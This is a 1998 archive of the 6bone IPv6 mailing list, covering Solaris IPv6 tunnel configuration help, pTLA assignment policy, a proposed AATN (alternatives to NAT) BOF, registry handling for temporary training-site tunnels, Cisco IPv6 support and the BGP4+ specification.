contact:           SP1-6BONE
remarks:           Experimental IPv6 evaluation network
remarks:           DNS operational for forward and reverse zones

remarks:           Primary DNS dns.ipv6.bt.net
remarks:           Reverse (.2.0.0.0.0.1.0.F.E.F.F.3.IP6.INT)
remarks:           ipv6-site is operational since 30-Jan-97
changed:           stuart.prevost@bt-sys.bt.co.uk 19971030
source:            6BONE

-end







From 6bone-owner  Fri Feb  6 13:36:49 1998
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Date: Fri, 6 Feb 1998 15:35:26 -0600
From: Zach Metzinger <wizkid@ksu.edu>
To: 6bone@ISI.EDU
Subject: Re: is the list working?
References: <1325368302-169859671@cnrmail.lbl.gov>
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On Fri, Feb 06, 1998 at 08:35:48AM -0800, Bob Fink wrote:
> I haven't seen anything come thru in days on the 6bone list.
> 
> Bob

Booga. :)

Zach Metzinger
Unix System Administration
Computing and Network Services
Kansas State University (3ffe:1cfe::/48)


From 6bone-owner  Fri Feb  6 19:20:51 1998
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Date: Sat, 07 Feb 1998 11:20:03 +0800
From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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To: 6Bone <6bone@ISI.EDU>
Subject: about IPv6 configuration on Solaris
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    I have successfully set up a configured tunnel with a 6Bone site.
However, at present, I have trouble in configuring another IPv6 host to
communicate directly with my original host. Does anybody have any
experience in configuring IPv6 release 5.3 of Solaris and can help me
solve the problem?
    The following is the configuration information from my two IPv6
hosts:

I have set up two IPv6 hosts, say Host A and B,  with IPv6 Release5.3 on

x86.  I have successfully buit a configured tunnel of
static route with DIGITAL-CA(204.123.18.254) on Host A (202.39.157.141,
3ffe:1200:3001:0:80:c8ff:fe33:fa93) and join 6Bone (netmask is 8 rather
than default 128). Besides, there is also a automatic tunnel built on
Host A.

At present, I am trying to set up another IPv6 host (Host B,
202.39.157.142, 3ffe:1200:3001:0:80:c8ff:fe2f:c72d) on the same ethernet

segment with Host A. I wish the two hosts (host A and B) can PING (v6)
to each other directly without any tunnel or IPv6 router. However, I
find that it does not work.(But it is OK with IPv4 protocol). I have
tried all configurations I could but still can get it works, Can you
please check it for me?

The following is the informations from "ifconfig(v6) and netstat(v6)"

For Host A (202.39.157.141) with configured tunnel:
1. The result of "ifconfig (v6)"
**************************
lo0#v6: flags=849<UP,LOOPBACK,RUNNING,MULTICAST> mtu 8232
 inet6 ::1 netmask 128
lo0: flags=849<UP,LOOPBACK,RUNNING,MULTICAST> mtu 8232  inet 127.0.0.1
netmask ff000000
nei1: flags=863<UP,BROADCAST,NOTRAILERS,RUNNING,MULTICAST> mtu 1500
inet 202.39.157.141 netmask ffffff00 broadcast 202.39.157.255 ether
0:80:c8:33:fa:93
ip0: flags=8d1<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 4196  inet6
::202.39.157.141  ---> :: netmask 96
ip1: flags=8d1<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 4196  tunnel
src 202.39.157.141   tunnel dst 204.123.18.254  inet6
3ffe:1200:3001:0:80:c8ff:fe33:fa93  ---> 3ffe:: netmask 8
ip1:1: flags=8d1<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 4196 tunnel

src 202.39.157.141   tunnel dst 204.123.18.254  inet6 fe80::ca27:9d8d
---> fe80:: netmask 10
nei1#v6: flags=843<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  inet6
fe80::2:280:c8ff:fe33:fa93 netmask 10
nei1#v6:1: flags=843<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet6
3ffe:1200:3001:0:80:c8ff:fe33:fa93 netmask 80
***************************************

2. The result of "netstat (v6)"
************************
Routing Table: IPV4
  Destination           Gateway           Flags  Ref   Use   Interface
-------------------- -------------------- ----- ----- ------ ---------
127.0.0.1            127.0.0.1             UH       0      0  lo0
202.39.157.0         202.39.157.141        U        3      2  nei1
224.0.0.0            202.39.157.141        U        3      0  nei1
default              202.39.157.254        UG       0     13  nei1

Routing Table:  IPV6
  Destination/Mask    Gateway              Flags  Ref   Use   Interface
-------------------- --------------------  ----- ----- ------ ---------
::1/128               ::1                   U        0      0  lo0#v6
ff00::/8              fe80::2:280:c8ff:fe33:fa93  UG       0      0
ip1:1
3ffe::/128            3ffe:1200:3001:0:80:c8ff:fe33:fa93  U 3      0
ip1
::/96                 ::202.39.157.141      U        2      0  ip0
3ffe:1200:3001:0:80::/80  3ffe:1200:3001:0:80:c8ff:fe33:fa93  U 4
16  nei1#v6:1
fe00::/8              fe80::ca27:9d8d       U        3      0  ip1:1
fe00::/8              fe80::2:280:c8ff:fe33:fa93  U        4      0
nei1#v6
default               fe80::2:280:c8ff:fe33:fa93  U        4      5
nei1#v6
************************************************************

For Host B (202.39.157.142) with configured tunnel:
1. The result of "ifconfig (v6)"
**************************
lo0#v6: flags=849<UP,LOOPBACK,RUNNING,MULTICAST> mtu 8232  inet6 ::1
netmask 128
lo0: flags=849<UP,LOOPBACK,RUNNING,MULTICAST> mtu 8232  inet 127.0.0.1
netmask ff000000
d22e0: flags=863<UP,BROADCAST,NOTRAILERS,RUNNING,MULTICAST> mtu 1500
inet 202.39.157.142 netmask ffffff00 broadcast 202.39.157.255  ether
0:80:c8:2f:c7:2d
ip0: flags=8d1<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 4196  inet6
::202.39.157.142  ---> :: netmask 96
d22e0#v6: flags=843<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  inet6
fe80::1:280:c8ff:fe2f:c72d netmask 10
d22e0#v6:1: flags=843<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  inet6
3ffe:1200:3001:0:80:c8ff:fe2f:c72d netmask 80
**************************

2. The result of "netstat (v6)"
************************
Routing Table:  IPV6
  Destination/Mask    Gateway              Flags  Ref   Use   Interface
-------------------- --------------------  ----- ----- ------ ---------
::1/128               ::1                   U        0      0  lo0#v6
::/96                 ::202.39.157.142      U        2      0  ip0
3ffe:1200:3001:0:80::/80  3ffe:1200:3001:0:80:c8ff:fe2f:c72d  U 5
0  d22e0#v6:1
fe00::/8              fe80::1:280:c8ff:fe2f:c72d  U        5      0
d22e0#v6
ff00::/8              fe80::1:280:c8ff:fe2f:c72d  U        5      0
d22e0#v6
default               fe80::1:280:c8ff:fe2f:c72d  U        5      0
d22e0#v6
***************************************


If I give the command "/usr/ipv6/sbin/ping
3ffe:1200:3001:0:80:c8ff:fe2f:c72d" on Host A,, I never get any
response.

Yann-Ju Chu







From 6bone-owner  Sat Feb  7 07:34:02 1998
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Date: Sat, 07 Feb 1998 07:34:24 +0400
From: peter dawson <peterdd@gto.net.om>
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To: 6bone <6bone@ISI.EDU>
Subject: IPng & ATM
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6bone list :
Doing some study on IPng and ATM , need
some pointers,sources,publications or comment on;

1) CPU overheads during implementation of SIIT (translator box),
   i.e IPv6 over IPv4 on single host and dual clouds:

   IPv6  ===>     <SIIT>  ===>   [IPv4]   ==>  [IPv4]    {Single Host
   Host                network
host                              scenerio };

   IPv6  ===>[Dual Cloud]==>[SIIT]==>[IPv4]== > [IPv4]   { Dual Cloud };

   host           [IPv6 & IPv4]                       network      host

I don't know if this the correct forum for this question, however
pls bear with me :)) (if not advise where I can address this
question ?)

2) Behavior of AAL5, (CL & SAR layers) during congestion at the
   network edge and within the ATM network, after RSVP signaled
   call admission and per flow specs have initiated a VC,
   with the QoS service class being VBRrt.

rgds

pete


From 6bone-owner  Mon Feb  9 05:55:31 1998
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From: Alain.Durand@imag.fr
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Hi all

I've set up a BGP looking glass on my router.

If you want to access it, try:

http://lookingglass.imag.fr

	- Alain.

ps: there might still be some bugs... please signal them to me.

From 6bone-owner  Mon Feb  9 09:56:32 1998
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To: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
Cc: 6Bone <6bone@ISI.EDU>
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: about IPv6 configuration on Solaris 
In-reply-to: Your message of Sat, 07 Feb 1998 11:20:03 +0800.
             <34DBD2E2.20BB0C4@ms.chttl.com.tw> 
Date: Mon, 09 Feb 1998 11:56:19 -0600
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This should go to the Sun-specific list,
sun-ipv6-users@sunroof.Eng.Sun.COM, not the 6bone list.

The solution: make host A a v6 router on the ethernet interface.  Let
host B auto-configure from the router advertisements host A will then
be sending.
___________________________________________________________________
Matt Crawford               crawdad@fnal.gov               Fermilab

From 6bone-owner  Mon Feb  9 11:38:18 1998
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From: bound@zk3.dec.com
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To: nat@livingston.com, ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com,
        6bone@ISI.EDU, dhcp-v4@bucknell.edu, dhcp-v6@bucknell.edu,
        mobile-ip@SmallWorks.com, ipsec@tis.com
Subject: AATN (alternatives to NAT) Mail List Set up........................
Date: Mon, 09 Feb 1998 14:37:11 -0500
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DO NOT RESPOND TO THIS MAIL IT IS INFORMATION per a new Mail List.
If you have comment please send to me privately or get on the aatn list and
send it to aatn...

I have submitted a request and description for a BOF to the IETF
Internet ADs to discuss alternatives to NAT.  But I set up a mail list
as interim place to discuss this technology.  My mail is attached to the
ADs....Comments on description and agenda welcome the more we do before
L.A. the better we can determine if this work should move forward.

send mail to - majordomo@alpha.zk3.dec.com

  subscribe aatn your-email-addr

THose of you who sent me mail to be on this are already subscribed if
you sent me mail before Noon today everyone else please subscribe
directly yourself.

Apology for this interruption but folks on these mail lists have
expresssed an interest in alternatives to NAT and I wanted to let
them know, we have a place to discuss it.

/jim

--------------

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To: narten@vnet.ibm.com, burgan@home.net
Cc: agenda@ietf.org, bound@zk3.dec.com, Erik.Nordmark@eng.sun.com,
        gabriel.montenergo@eng.sun.com, vipul.gupta@eng.sun.com,
        george@gideon.bt.co.uk, alan.oneill@bt-sys.bt.co.uk
Subject: Request for AATN BOF at L.A. IETF Meeting
Date: Mon, 09 Feb 1998 13:14:12 -0500
From: bound
X-Mts: smtp

Thomas and Jeff,

I would like to request a 2 hour BOF for the subject "Avoidance of
Address Translation in Networks" (AATN), for the L.A. Meeting.  I have 
to request this BOF not happen during the following events so I may lead it.  
IPng, NGTRANS, DHCPv6, or NAT BOF meetings.  Evening is fine too, but day 
is better.

I feel this BOF should be sponsored by the Internet Area as it affects
the Internet Layer of the IP model.  If it should become a WG then that
is up to the IESG to decide clearly where that should be located. I enlist 
your leadership and support to get this discussed.

I am already setting up an initial mail list now.  It could take two
BOFs to determine what this work would entail and if it should be a
working group, I just don't know right now.

Description of BOF:

To address the limitations of the IPv4 address space the Internet
community needs to adopt variant technologies until IPv6 can be deployed
giving the Internet a new address space.  Three such technologies are
Network Address Translation (NAT), Link Tunnel Protocols like L2TP, and
the use of address translation in Firwall products.  This BOF would like
to investigate and discover if there is valid work to do, which can be
used to assist this IPv4 problem thru the Avoidance of Network Address
Translation on Networks (AATN).  This work would address todays need for
IPv4 and some of the needs for IPv6 which are not addressed by the
existing NGTRANS WG.  Because this work includes work specific just to
IPv4 it should not be part of NGTRANS, but there will be some overlap
clearly.  Engineers in our community have begun to work on AATN in
various manners and from several IETF WG mail lists this work appears to
have a growing interest.  This is also not part of the NAT work on going
as that function is to define and specifiy parts to do NAT.  One
objective of this work is to provide and insure that end-to-end host
connectivity is supported for mobility and IPSEC, without network address
translation.

Examples of work in our community to support AATN exist today:

  draft-tsirtisi-nat-bypass-00.txt  George Tsirtisi and ALan O'Neill
                                    (British Telecom Labs)
  draft-montenegro-firewall-sup-03.txt  G. Montenegro and V. Gupta
                                    (Sun Microsystems)
  draft-ngtrans-header-trans-01.txt Erik Nordmark
                                    (Sun Microsystems)
  draft-ngtrans-nnat-00.txt  Jim Bound
                                    (Digital Equipment Corporation)

A tentative agenda would look as follows:

   -  What is the taxonomy AATN and what are some examples.
   -  Specific Overviews of AATN (the above draft examples possibly)
   -  What would be the objectives and charter of such a WG
   -  What would be the deliverables of such a WG
   -  Do we want to start a working group for AATN

Sincerely,
/jim

Jim Bound
IPv6 Technical Director
Consulting Engineer 
UNIX Internet Group 
Digital Equipment Corporation
1+(603) 884-0400
bound@zk3.dec.com



From 6bone-owner  Mon Feb  9 20:51:51 1998
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To: Bob Fink <rlfink@lbl.gov>
Cc: 6bone@ISI.EDU
Subject: Re: retransmit of: 6bone pTLA assignment rules 
In-Reply-To: Your message of "Fri, 06 Feb 1998 09:55:50 PST."
             <1325363498-170148633@cnrmail.lbl.gov> 
Date: Mon, 09 Feb 1998 23:46:10 -0500
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Bob,

My input is BT Labs clearly fits the bill here give them at pTLA.

One fear I have is will folks be afraid to get the pTLA this way in a
public forum.  Suppose its a large company like XYZ and they want one?

It seems to me you and the pTLAs now have been doing a good job.  

How about you ask for some volunteers from the list to be part of the
existing pTLAs?

Also I think folks who want to are out of IPv4 addresses but want to use
IPv6 addresses instead of IPv4 private addresses could come to us too?
They can be renumbered automatically via our addrconf and dhcp and
router renumbering once they get official IPv6 addresses.  So that I
think is another request you will be seeing soon.  Some thought on this
seems worthwhile..

/jim


From 6bone-owner  Tue Feb 10 03:14:44 1998
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Date: Tue, 10 Feb 1998 11:25:10 +0000
To: Bob Fink <rlfink@lbl.gov>, 6bone@ISI.EDU
From: Peter Curran <pcurran@ticl.co.uk>
Subject: Re: retransmit of: 6bone pTLA assignment rules
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Bob

I support the criteria that you have established for the creation of new
pTLAs.  

I think that the application by BT-Labs should go ahead - they clearly meet
the criteria that you have established.

I think the drawback to approaching the list every time a new pTLA is
proposed or requested is that 'concensus' is likely to be based on only a
couple of guys putting an opinion forward.  Would it not be more sensible
to approve pTLA assignment for organisations such as BT-Labs who clearly
meet the criteria without reference to the list.  I think that you should
request judgement from the 6bone community only if there is some doubt
about the qualifications of the applicant or where some of the criteria are
not wholly met.

Whilst on the subject, is it not time to start bearing down on those
backbone sites that have a pTLA assigned, but do not appear to be following
the 'rules'?  For example, I still find the odd RFC1897 address popping up
when I do a traceroute across the backbone.  Likewise, some sites would
appear to be semi-permamently disconnected - from a couple of discussions
with other sites this would appear to be caused by inappropriate routing
policies.

My 2p-worth

Peter
TICL/UK


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From 6bone-owner  Tue Feb 10 03:25:13 1998
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Date: Tue, 10 Feb 1998 11:35:54 +0000
To: 6bone@gate.ticl.co.uk
From: Peter Curran <pcurran@ticl.co.uk>
Subject: Support for dynamic sites in the registry
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Hash: SHA1

I have an interesting question concerning the use of the registry.  I am
not sure if what I want to do is valid, or if it maps onto a 'real-world'
problem, but would much appreciate some input.

We (TICL/UK) are a transit site connected via UUNET-UK.  For this purpose
UUNET-UK have assigned us an NLA2 (/40).  At the moment we provide transit
to a number of Learning Tree education centres around the world to support
their IPv6 training course.  In the worse case scenario, the course may run
simultaneously at multiple Ed Centres.  We have therefore assigned a /44 to
them (giving the ability to support up to 16 Ed Centres simultaneously -
more than adequate provision currently).

The tunnels created are not permament - they are created for one week only
at a time.  The assignment of a global prefix is likewise not permament -
each centre is assigned a tunnel and corresponding prefix on a first-come
first-served basis for the duration of the course.  The reason for this is
to simplify (automate) the course setup procedures and to allow the
available /44 service >16 potential venues.

I would like to create the necessary entries in the registry to reflect
this situation, but the registry is essentially static.  Now comes my
question.  Should the registry be able to cope with this sort of situation,
or is this just an example of a one-off problem that will not map onto the
real world?

Should I create and delete the registry entries on demand, as the tunnels
and prefixes are created? Should this sort of information even go into the
registry?

Opinion/guidance would be appreciated.

Regards

Peter Curran
TICL/UK 

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From 6bone-owner  Tue Feb 10 10:01:19 1998
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Date: Tue, 10 Feb 1998 10:00:13 -0800
To: bound@zk3.dec.com
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: retransmit of: 6bone pTLA assignment rules 
Cc: 6bone@ISI.EDU
In-Reply-To: <199802100446.AA28894@wasted.zk3.dec.com>
References: <Your message of "Fri, 06 Feb 1998 09:55:50 PST."             <1325363498-170148633@cnrmail.lbl.gov>
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Jim,

At 11:46 PM 2/9/98 -0500, bound@zk3.dec.com wrote:
>Bob,
>
>My input is BT Labs clearly fits the bill here give them at pTLA.

Seems to be strong consensus on this.


>One fear I have is will folks be afraid to get the pTLA this way in a
>public forum.  Suppose its a large company like XYZ and they want one?

Well, I think they need to do like everyone else,be a leaf, be an NLA
transit, justify why they should be a pTLA, etc....and remember, we are
trying to mimic the real world AND build a reliable high quality backbone.


>It seems to me you and the pTLAs now have been doing a good job.  

I think there are many folks that have been doing a great job for the
6bone...it's nice when people appreciate it.


>How about you ask for some volunteers from the list to be part of the
existing pTLAs?

Don't quite follow your intent here...do you mean to setup a small advisory
panel of folks to review these pTLA requests?


>Also I think folks who want to are out of IPv4 addresses but want to use
>IPv6 addresses instead of IPv4 private addresses could come to us too?
>They can be renumbered automatically via our addrconf and dhcp and
>router renumbering once they get official IPv6 addresses.  So that I
>think is another request you will be seeing soon.  Some thought on this
>seems worthwhile..

Remember that we can't support non-testing type traffic on the 6bone as
many of the 6bone participants are R&D places whose AUPs would instantly be
violated if they carried non testing traffic and would have to withdraw
their support of the 6bone.


I've been thinking that we should consider a second network, not for test,
that is similar to the 6bone (at least at the start), that provides a pTLA
space for early real users prior to a real active TLA registry activity
getting started up by IANA Inc., or whatver is agreed upon by the larger
court of world-wide opinion and policy (please don't start that debate on
this list).  

I say it in this way as the delays whilke the IANA Inc./IAHC/CORE/POC
wars/debates/decisions take place may be long. In the interim we do need a
way for people to get a routing prefix and be able to communicate with
others that have IPv6 needs.

Opinions anyone?


Thanks,

Bob





From 6bone-owner  Tue Feb 10 10:11:19 1998
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Date: Tue, 10 Feb 1998 10:10:13 -0800
To: Peter Curran <pcurran@ticl.co.uk>, 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: retransmit of: 6bone pTLA assignment rules
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Peter,

At 11:25 AM 2/10/98 +0000, Peter Curran wrote:
...
>I support the criteria that you have established for the creation of new
>pTLAs.  
>
>I think that the application by BT-Labs should go ahead - they clearly meet
>the criteria that you have established.
>
>I think the drawback to approaching the list every time a new pTLA is
>proposed or requested is that 'concensus' is likely to be based on only a
>couple of guys putting an opinion forward.  Would it not be more sensible
>to approve pTLA assignment for organisations such as BT-Labs who clearly
>meet the criteria without reference to the list.  I think that you should
>request judgement from the 6bone community only if there is some doubt
>about the qualifications of the applicant or where some of the criteria are
>not wholly met.

I'll think on this one.  Jim Bound has a similar point of view.


>Whilst on the subject, is it not time to start bearing down on those
>backbone sites that have a pTLA assigned, but do not appear to be following
>the 'rules'?  For example, I still find the odd RFC1897 address popping up
>when I do a traceroute across the backbone.  Likewise, some sites would
>appear to be semi-permamently disconnected - from a couple of discussions
>with other sites this would appear to be caused by inappropriate routing
>policies.

Yep.  It's almost time to start (to confess, I've been busy on other things
and not had the time yet...but will soon).


Thanks for your comments,

Bob

From 6bone-owner  Tue Feb 10 11:31:13 1998
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To: Bob Fink <rlfink@lbl.gov>
Cc: 6bone@ISI.EDU
Subject: Re: retransmit of: 6bone pTLA assignment rules 
In-Reply-To: Your message of "Tue, 10 Feb 1998 10:00:13 PST."
             <1325017621-190956852@cnrmail.lbl.gov> 
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Bob,

>>How about you ask for some volunteers from the list to be part of the
>existing pTLAs?

>Don't quite follow your intent here...do you mean to setup a small advisory
>panel of folks to review these pTLA requests?

Exactly.  All pTLAs should be on it too.


>>Also I think folks who want to are out of IPv4 addresses but want to use
>>IPv6 addresses instead of IPv4 private addresses could come to us too?
>>They can be renumbered automatically via our addrconf and dhcp and
>>router renumbering once they get official IPv6 addresses.  So that I
>>think is another request you will be seeing soon.  Some thought on this
>>seems worthwhile..

>Remember that we can't support non-testing type traffic on the 6bone as
>many of the 6bone participants are R&D places whose AUPs would instantly be
>violated if they carried non testing traffic and would have to withdraw
>their support of the 6bone.

Good point.

>I've been thinking that we should consider a second network, not for test,
>that is similar to the 6bone (at least at the start), that provides a pTLA
>space for early real users prior to a real active TLA registry activity
>getting started up by IANA Inc., or whatver is agreed upon by the larger
>court of world-wide opinion and policy (please don't start that debate on
>this list).  

This is a good idea.  

>I say it in this way as the delays whilke the IANA Inc./IAHC/CORE/POC
>wars/debates/decisions take place may be long. In the interim we do need a
>way for people to get a routing prefix and be able to communicate with
>others that have IPv6 needs.
>
>Opinions anyone?

We need this for sure.  I need to think more and what we may want to do
is find out via you privately what pTLAs could participate in such an
effort and possibly this may be a way to draw new ISPs and Telcos to the
6bone in general?

/jim

From 6bone-owner  Tue Feb 10 11:54:26 1998
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From: davidk@ISI.EDU
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Subject: Re: Support for dynamic sites in the registry
To: pcurran@ticl.co.uk (Peter Curran)
Date: Tue, 10 Feb 1998 11:52:50 -0800 (PST)
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In-Reply-To: <Version.32.19980210112559.00e2f480@gate> from "Peter Curran" at Feb 10, 98 11:35:54 am
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Peter,

Peter Curran writes:
> 
> I would like to create the necessary entries in the registry to reflect
> this situation, but the registry is essentially static.  Now comes my
> question.  Should the registry be able to cope with this sort of situation,
> or is this just an example of a one-off problem that will not map onto the
> real world?
> 
> Should I create and delete the registry entries on demand, as the tunnels
> and prefixes are created? Should this sort of information even go into the
> registry?

What do you mean by static ?!?

You can send as many updates/deletes as you want and changes are visible
within seconds.

I think it is up to you to decide if you want to spend the time
registering information that will be worthwhile for only a week. The
advantages of registering such temporary data are probably not very
important from an operational perspective. However, I would advise to
register the /44 inet6num object with appropriate remarks: line so that
people at least can find out where the IPs come from when they show up on
the 6bone,

David K.
---

From 6bone-owner  Tue Feb 10 14:21:02 1998
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Date: Tue, 10 Feb 1998 14:23:50 -0800
From: shane foster <fosters@interglobe.com>
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Subject: ipv6 on cisco?
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I saw some questions about ipv6 support in
cisco's IOS months ago.  I thought the 
response was that it would be in 
IOS 11.3.
	I can't find it.  Is support coming?
Can someone please tell me the process?

TIA
	Shane
-- 
Shane Foster			fosters@interglobe.com
Network Engineer		(206) 623-2222
interGlobe Networks, Inc.

From 6bone-owner  Tue Feb 10 15:45:39 1998
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To: Bob Fink <rlfink@lbl.gov>
cc: 6bone@ISI.EDU
Subject: Re: retransmit of: 6bone pTLA assignment rules 
In-reply-to: Your message of "Tue, 10 Feb 1998 10:00:13 PST."
             <1325017621-190956857@cnrmail.lbl.gov> 
From: David Greenman <dg@root.com>
Reply-To: dg@root.com
Date: Tue, 10 Feb 1998 15:44:41 -0800
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>I've been thinking that we should consider a second network, not for test,
>that is similar to the 6bone (at least at the start), that provides a pTLA
>space for early real users prior to a real active TLA registry activity
>getting started up by IANA Inc., or whatver is agreed upon by the larger
>court of world-wide opinion and policy (please don't start that debate on
>this list).  
>
>I say it in this way as the delays whilke the IANA Inc./IAHC/CORE/POC
>wars/debates/decisions take place may be long. In the interim we do need a
>way for people to get a routing prefix and be able to communicate with
>others that have IPv6 needs.
>
>Opinions anyone?

   I think it sounds like an excellent idea. I have to admit that I, like
many people, have been wondering where the 6bone was headed and how the
real IPv6 Internet would come to life. It has to start somewhere...
   Speaking of which, I've been looking for a good excuse to get ftp.cdrom.com
running an IPv6 stack, not to mention pushing CRL in the IPv6 direction, and
I think what you're proposing is just the excuse I've been looking for.

-DG

David Greenman
Core-team/Principal Architect, The FreeBSD Project

From 6bone-owner  Tue Feb 10 16:40:10 1998
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Date: Wed, 11 Feb 1998 00:50:56 +0000
To: davidk@ISI.EDU
From: Peter Curran <pcurran@ticl.co.uk>
Subject: Re: Support for dynamic sites in the registry
Cc: 6bone@ISI.EDU
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David


>> Should I create and delete the registry entries on demand, as the tunnels
>> and prefixes are created? Should this sort of information even go into the
>> registry?
>
>What do you mean by static ?!?
>

Sorry - didn't mean to insult your baby!  By static I mean that it is a
record of what was, not what is!

>You can send as many updates/deletes as you want and changes are visible
>within seconds.
>
>I think it is up to you to decide if you want to spend the time
>registering information that will be worthwhile for only a week. The
>advantages of registering such temporary data are probably not very
>important from an operational perspective. However, I would advise to
>register the /44 inet6num object with appropriate remarks: line so that
>people at least can find out where the IPs come from when they show up on
>the 6bone,
>

That is a good point - I will register an inet6num object straight away.

I think I will have a go at including the insertion of the site info into
the database within the current automated
setup procedures.  I think it will be useful to show students of the
training course that the site they are operating from does have an entry in
the registry - it helps to sponsor the importance of the registry.

Thanks for your input

Peter

TICL/UK


From 6bone-owner  Tue Feb 10 16:55:12 1998
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Date: Tue, 10 Feb 1998 16:47:51 -0800
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Shane,

You need to contact : ipv6-support@cisco.com for information regarding cisco
ipv6 ios.


--
R/Doug
____________________________________________________________
Doug Dalton - Network Manager - Netscape Communications
ddalton@netscape.com - http://home.netscape.com/people/dougs




From 6bone-owner  Tue Feb 10 22:34:40 1998
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Reply-To: <cnebody@mindspring.com>
From: "Joel W. Barrett" <cnebody@mindspring.com>
To: <6bone@ISI.EDU>
Subject: RE: retransmit of: 6bone pTLA assignment rules 
Date: Wed, 11 Feb 1998 01:14:24 -0500
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Hi all,

I've been trying to get involved in the IPv6 initiative for several months
but keep hitting brick walls. I'm in Atlanta, GA, USA and have spoken with
several individuals at local universities (Univ of Georgia, Georgia Tech,
Georgia State Univ., OIIT, PeachNet) but received nothing positive. I have
Cisco experience and am willing to work either inexpensively or for free
(depending on the opportunities) and have several other members of my staff
who are also willing to participate.

How does one go about volunteering for work such as this when no one will
accept assistance? My resume is online at my webpage
(http://cnebody.home.mindspring.com) if anyone is interested in checking out
my background. I AM NOT LOOKING FOR A JOB, I just want to enhance my
knowledge of the 6Bone network and its devices while assisting others in
implementing it. I've never been turned down so many times while offering
cheap or free help.

Any assistance you can provide is greatly appreciated.

Joel Barrett
IT Engineering Manager
Whittman-Hart, Inc.

--
Joel W. Barrett
Disclaimers and contact information available at
http://cnebody.home.mindspring.com/sigs.htm.
Do somethInG dIgiTal!




From 6bone-owner  Wed Feb 11 11:09:02 1998
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Date: Wed, 11 Feb 1998 11:08:00 -0800
To: shane foster <fosters@interglobe.com>
From: Martin McNealis <mmcnealis@cisco.com>
Subject: Re: IPv6 on Cisco IOS?
Cc: 6bone@ISI.EDU
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Hi Shane, 

No, IOS 11.3 shipped at the end of last year and we're targetting our
IPv6 support for general release later in 1998.

Cheers, 

-Martin-

At 02:23 PM 2/10/98 -0800, shane foster wrote:
>I saw some questions about ipv6 support in
>cisco's IOS months ago.  I thought the 
>response was that it would be in 
>IOS 11.3.
>	I can't find it.  Is support coming?
>Can someone please tell me the process?
>
>TIA
>	Shane
>-- 
>Shane Foster			fosters@interglobe.com
>Network Engineer		(206) 623-2222
>interGlobe Networks, Inc.
>
>


From 6bone-owner  Tue Feb 17 19:01:42 1998
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Date: Wed, 18 Feb 1998 10:56:44 +0800
From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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 I am trying to find the BGP4+ specification, but can not find the one
match. Is BGP4+ a formal name for "BGP4 for IPv6"?
Is the following document the spec. for BGP4+?
            <draft-ieft-idr-bgp4-ipv6-01> BGP4 Multiprotocol Extendison
for IPv6 Inter-domain Routing
If any body can answer for me, I will be very thankful.

Chu

yjchui@ms.chttl.com.tw



From 6bone-owner  Tue Feb 17 20:51:36 1998
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Date: Tue, 17 Feb 1998 20:50:41 -0800 (PST)
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From: Pedro Marques <roque@cisco.com>
To: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
Cc: 6Bone <6bone@ISI.EDU>
Subject: about BGP4+
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>>>>> "Yann-Ju" == Yann-Ju Chu <yjchui@ms.chttl.com.tw> writes:

    Yann-Ju>  I am trying to find the BGP4+ specification, but can not
    Yann-Ju> find the one match. Is BGP4+ a formal name for "BGP4 for
    Yann-Ju> IPv6"?

BGP4+ is the informal name for BGP 4 with Multiprotocol extensions.

    Yann-Ju>   Is the following document the spec. for BGP4+?

That is the document that specifies how to use BGP Multiprotocol Extensions
for IPv6. BGP4+ is used at the moment both for IPv6 and to carry multicast
RP information. The IPv6 specific details are documented in the draft you
mention.

    Yann-Ju> <draft-ieft-idr-bgp4-ipv6-01> BGP4 Multiprotocol
    Yann-Ju> Extendison for IPv6 Inter-domain Routing If any body can
    Yann-Ju> answer for me, I will be very thankful.

 Pedro.


From 6bone-owner  Wed Feb 18 07:22:51 1998
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To: Yann-Ju Chu <yjchui@ms.chttl.com.tw>, 6Bone <6bone@ISI.EDU>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: about BGP4+
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Yann-Ju,

At 10:56 AM 2/18/98 +0800, Yann-Ju Chu wrote:
> I am trying to find the BGP4+ specification, but can not find the one
>match. Is BGP4+ a formal name for "BGP4 for IPv6"?
>Is the following document the spec. for BGP4+?
>            <draft-ieft-idr-bgp4-ipv6-01> BGP4 Multiprotocol Extendison
>for IPv6 Inter-domain Routing
>If any body can answer for me, I will be very thankful.

The following was just issued by the IESG.

Bob

==========================================

To: IETF-Announce:;IETF-Announce.;@ns.ietf.org@lbl.gov 
Cc: RFC Editor
<rfc-editor@isi.edu> 
Cc: Internet Architecture Board <iab@isi.edu> 
Cc:
idr@merit.edu 
From: The IESG <iesg-secretary@ns.ietf.org> 
Subject:
Protocol Action: Use of BGP-4 Multiprotocol Extensions for IPv6
Inter-Domain Routing to Proposed Standard 
Date: Wed, 18 Feb 1998 08:12:47
-0500 

The IESG has approved the Internet-Draft 'Use of BGP-4 Multiprotocol
Extensions for IPv6 Inter-Domain Routing'
<draft-ietf-idr-bgp4-ipv6-01.txt> as a Proposed Standard. This document is
the product of the Inter-Domain Routing Working Group. The IESG contact
person is Joel Halpern.

Technical Summary 

This protocol specification defines the extensions to multi-protocol BGP-4 
required to support IPv6. It thereby provides the mechanisms need to have an 
inter-domain routing protocol for IPv6, with all of the proerties of BGP-4.

Working Group Summary

There was strong consensus in the working group in support of this document. 
Alternatives werediscussed, and this was agreed as the way forward.

Protocol Quality

The document has been reviewed for the IESG by Joel M. Halpern, the Routing 
Area Director. Use of this protocol has begun in multiple implementations.

-end

From 6bone-owner  Wed Feb 18 09:44:28 1998
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Date: Wed, 18 Feb 1998 09:43:12 -0800
To: 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com
From: Bob Fink <rlfink@lbl.gov>
